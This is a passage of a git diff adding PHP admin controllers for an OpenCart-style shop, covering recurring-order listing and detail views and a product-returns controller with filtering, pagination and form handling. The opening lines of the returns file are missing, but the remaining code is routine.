+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $recurrings_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->text = $this->language->get('text_pagination');
+ $pagination->url = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&page={page}' . $url, true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($recurrings_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($recurrings_total - $this->config->get('config_limit_admin'))) ? $recurrings_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $recurrings_total, ceil($recurrings_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_order_recurring_id'] = $filter_order_recurring_id;
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_reference'] = $filter_reference;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['recurring_statuses'] = array();
+
+ $data['recurring_statuses'][0] = array(
+ 'text' => '',
+ 'value' => 0
+ );
+
+ for ($i = 1; $i <= 6; $i++) {
+ $data['recurring_statuses'][$i] = array(
+ 'text' => $this->language->get('text_status_' . $i),
+ 'value' => $i,
+ );
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/recurring_list', $data));
+ }
+
+ public function info() {
+ $this->load->model('sale/recurring');
+
+ if (isset($this->request->get['order_recurring_id'])) {
+ $order_recurring_id = $this->request->get['order_recurring_id'];
+ } else {
+ $order_recurring_id = 0;
+ }
+
+ $order_recurring_info = $this->model_sale_recurring->getRecurring($order_recurring_id);
+
+ if ($order_recurring_info) {
+ $this->load->language('sale/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . $this->request->get['filter_reference'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['cancel'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ // Recurring
+ $data['order_recurring_id'] = $order_recurring_info['order_recurring_id'];
+ $data['reference'] = $order_recurring_info['reference'];
+ $data['recurring_name'] = $order_recurring_info['recurring_name'];
+
+ if ($order_recurring_info['recurring_id']) {
+ $data['recurring'] = $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $order_recurring_info['recurring_id'], true);
+ } else {
+ $data['recurring'] = '';
+ }
+
+ $data['recurring_description'] = $order_recurring_info['recurring_description'];
+
+ if ($order_recurring_info['status']) {
+ $data['recurring_status']= $this->language->get('text_status_' . $order_recurring_info['status']);
+ } else {
+ $data['recurring_status'] = '';
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_recurring_info['order_id']);
+
+ $data['payment_method'] = $order_info['payment_method'];
+
+ // Order
+ $data['order_id'] = $order_info['order_id'];
+ $data['order'] = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order_info['order_id'], true);
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+
+ if ($order_info['customer_id']) {
+ $data['customer'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['customer_id'], true);
+ } else {
+ $data['customer'] = '';
+ }
+
+ $data['email'] = $order_info['email'];
+ $data['order_status'] = $order_info['order_status'];
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($order_info['date_added']));
+
+ // Product
+ $data['product'] = $order_recurring_info['product_name'];
+ $data['quantity'] = $order_recurring_info['product_quantity'];
+
+ // Transactions
+ $data['transactions'] = array();
+
+ $transactions = $this->model_sale_recurring->getRecurringTransactions($order_recurring_info['order_recurring_id']);
+
+ foreach ($transactions as $transaction) {
+ $data['transactions'][] = array(
+ 'date_added' => $transaction['date_added'],
+ 'type' => $transaction['type'],
+ 'amount' => $this->currency->format($transaction['amount'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['buttons'] = $this->load->controller('extension/payment/' . $order_info['payment_code'] . '/recurringButtons');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/recurring_info', $data));
+ } else {
+ return new Action('error/not_found');
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/return.php b/public/admin/controller/sale/return.php
new file mode 100644
index 0000000..f814efa
--- /dev/null
+++ b/public/admin/controller/sale/return.php
@@ -0,0 +1,919 @@
+load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_return->addReturn($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_return->editReturn($this->request->get['return_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_id) {
+ $this->model_sale_return->deleteReturn($return_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_return_id'])) {
+ $filter_return_id = $this->request->get['filter_return_id'];
+ } else {
+ $filter_return_id = '';
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $filter_product = $this->request->get['filter_product'];
+ } else {
+ $filter_product = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $filter_return_status_id = $this->request->get['filter_return_status_id'];
+ } else {
+ $filter_return_status_id = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $filter_date_modified = $this->request->get['filter_date_modified'];
+ } else {
+ $filter_date_modified = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.return_id';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/return/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/return/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['returns'] = array();
+
+ $filter_data = array(
+ 'filter_return_id' => $filter_return_id,
+ 'filter_order_id' => $filter_order_id,
+ 'filter_customer' => $filter_customer,
+ 'filter_product' => $filter_product,
+ 'filter_model' => $filter_model,
+ 'filter_return_status_id' => $filter_return_status_id,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_date_modified' => $filter_date_modified,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_total = $this->model_sale_return->getTotalReturns($filter_data);
+
+ $results = $this->model_sale_return->getReturns($filter_data);
+
+ foreach ($results as $result) {
+ $data['returns'][] = array(
+ 'return_id' => $result['return_id'],
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'product' => $result['product'],
+ 'model' => $result['model'],
+ 'return_status' => $result['return_status'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $result['return_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_return_id'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.return_id' . $url, true);
+ $data['sort_order_id'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.order_id' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_product'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.product' . $url, true);
+ $data['sort_model'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.model' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_total - $this->config->get('config_limit_admin'))) ? $return_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_total, ceil($return_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_return_id'] = $filter_return_id;
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_product'] = $filter_product;
+ $data['filter_model'] = $filter_model;
+ $data['filter_return_status_id'] = $filter_return_status_id;
+ $data['filter_date_added'] = $filter_date_added;
+ $data['filter_date_modified'] = $filter_date_modified;
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/return_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['return_id'])) {
+ $data['return_id'] = (int)$this->request->get['return_id'];
+ } else {
+ $data['return_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['order_id'])) {
+ $data['error_order_id'] = $this->error['order_id'];
+ } else {
+ $data['error_order_id'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['product'])) {
+ $data['error_product'] = $this->error['product'];
+ } else {
+ $data['error_product'] = '';
+ }
+
+ if (isset($this->error['model'])) {
+ $data['error_model'] = $this->error['model'];
+ } else {
+ $data['error_model'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_id'])) {
+ $data['action'] = $this->url->link('sale/return/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $this->request->get['return_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['return_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $return_info = $this->model_sale_return->getReturn($this->request->get['return_id']);
+ }
+
+ if (isset($this->request->post['order_id'])) {
+ $data['order_id'] = $this->request->post['order_id'];
+ } elseif (!empty($return_info)) {
+ $data['order_id'] = $return_info['order_id'];
+ } else {
+ $data['order_id'] = '';
+ }
+
+ if (isset($this->request->post['date_ordered'])) {
+ $data['date_ordered'] = $this->request->post['date_ordered'];
+ } elseif (!empty($return_info)) {
+ $data['date_ordered'] = ($return_info['date_ordered'] != '0000-00-00' ? $return_info['date_ordered'] : '');
+ } else {
+ $data['date_ordered'] = '';
+ }
+
+ if (isset($this->request->post['customer'])) {
+ $data['customer'] = $this->request->post['customer'];
+ } elseif (!empty($return_info)) {
+ $data['customer'] = $return_info['customer'];
+ } else {
+ $data['customer'] = '';
+ }
+
+ if (isset($this->request->post['customer_id'])) {
+ $data['customer_id'] = $this->request->post['customer_id'];
+ } elseif (!empty($return_info)) {
+ $data['customer_id'] = $return_info['customer_id'];
+ } else {
+ $data['customer_id'] = '';
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($return_info)) {
+ $data['firstname'] = $return_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($return_info)) {
+ $data['lastname'] = $return_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($return_info)) {
+ $data['email'] = $return_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($return_info)) {
+ $data['telephone'] = $return_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ if (isset($this->request->post['product'])) {
+ $data['product'] = $this->request->post['product'];
+ } elseif (!empty($return_info)) {
+ $data['product'] = $return_info['product'];
+ } else {
+ $data['product'] = '';
+ }
+
+ if (isset($this->request->post['product_id'])) {
+ $data['product_id'] = $this->request->post['product_id'];
+ } elseif (!empty($return_info)) {
+ $data['product_id'] = $return_info['product_id'];
+ } else {
+ $data['product_id'] = '';
+ }
+
+ if (isset($this->request->post['model'])) {
+ $data['model'] = $this->request->post['model'];
+ } elseif (!empty($return_info)) {
+ $data['model'] = $return_info['model'];
+ } else {
+ $data['model'] = '';
+ }
+
